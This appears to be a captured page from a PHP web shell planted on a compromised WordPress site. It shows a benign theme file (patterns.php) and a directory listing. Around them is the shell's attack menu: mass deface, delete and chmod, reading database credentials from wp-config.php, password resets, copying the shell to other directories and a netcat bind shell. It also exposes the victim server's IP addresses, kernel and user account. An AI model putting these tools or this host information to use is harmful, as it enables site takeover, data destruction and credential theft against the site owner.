WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / themes / bootscore / inc / blocks / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/inc/blocks/patterns.php (2.23 KB)
<?php

/**
 * Patterns
 *
 * @package Bootscore
 * @version 6.2.0
 */


// Exit if accessed directly
defined('ABSPATH') || exit;


/*
 * Register pattern category
 */ 
function bootscore_pattern_category() {
  register_block_pattern_category(
    'bootscore',
    array( 'label' => __( 'Bootscore', 'bootscore' ) )
  );
}
add_action('init', 'bootscore_pattern_category');


/**
 * Remove specific classes conditionally
 * - wp-block-group
 * - is-layout-flow
 * - wp-block-group-is-layout-flow
 * - wp-block-heading
 * - wp-block-list
 * - wp-block-image
 * - is-layout-constrained
 * - -is-layout-constrained
 * if `hide-wp-block-classes` class is set to a parent group.
 */
function bootscore_remove_block_classes($block_content, $block) {
  // Check if the block is one of the target block types
  if (in_array($block['blockName'], ['core/group', 'core/heading', 'core/list', 'core/image'], true)) {
    // Specify the outer class to look for
    $required_outer_class = 'hide-wp-block-classes';

    // Check if the required class exists in the outer <div>
    if (strpos($block_content, $required_outer_class) !== false) {
      // Remove the unwanted classes
      $block_content = preg_replace(
        '/\bwp-block-group\b|\bis-layout-flow\b|\bwp-block-group-is-layout-flow\b|\bwp-block-heading\b|\bwp-block-list\b|\bwp-block-image\b|\bis-layout-constrained\b|\b\-is-layout-constrained\b/',
        '',
        $block_content
      );

      // Clean up any remaining `class` attribute
      $block_content = preg_replace_callback(
        '/class="([^"]*)"/',
        function ($matches) {
          // Split the class names, remove empty or invalid ones
          $classes = array_filter(array_map('trim', explode(' ', $matches[1])), function ($class) {
              return $class !== '-' && $class !== '';
          });

          // Rebuild the `class` attribute or return an empty string if no classes remain
          return !empty($classes) ? 'class="' . implode(' ', $classes) . '"' : '';
        },
        $block_content
      );

      // Remove any leftover empty `class=""` attributes
      $block_content = preg_replace('/\sclass=""/', '', $block_content);
    }
  }
  return $block_content;
}
add_filter('render_block', 'bootscore_remove_block_classes', 10, 2);
namawaktuukuranownerpermaksi
..
block-buttons.php 2026-11-26 08:193.26 KB 76129f60960:kunden-xw-x--x--
edt
block-code.php 2026-11-26 08:19881 B 76129f60960:kunden-xw-x--x--
edt
block-quote.php 2026-11-26 08:19938 B 76129f60960:kunden-xw-x--x--
edt
block-table.php 2026-11-26 08:19990 B 76129f60960:kunden-xw-x--x--
edt
block-widget-archives.php 2026-11-26 08:191.43 KB 76129f60960:kunden-xw-x--x--
edt
block-widget-calendar.php 2026-11-26 08:19980 B 76129f60960:kunden-xw-x--x--
edt
block-widget-categories.php 2026-11-26 08:191.51 KB 76129f60960:kunden-xw-x--x--
edt
block-widget-latest-comments.php 2026-11-26 08:191.82 KB 76129f60960:kunden-xw-x--x--
edt
block-widget-latest-posts.php 2026-11-26 08:191.43 KB 76129f60960:kunden-xw-x--x--
edt
block-widget-search.php 2026-11-26 08:191.83 KB 76129f60960:kunden-xw-x--x--
edt
disable-unsupported-blocks.php 2026-11-26 08:192.27 KB 76129f60960:kunden-xw-x--x--
edt
patterns.php 2026-11-26 08:192.23 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/inc/blocks
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK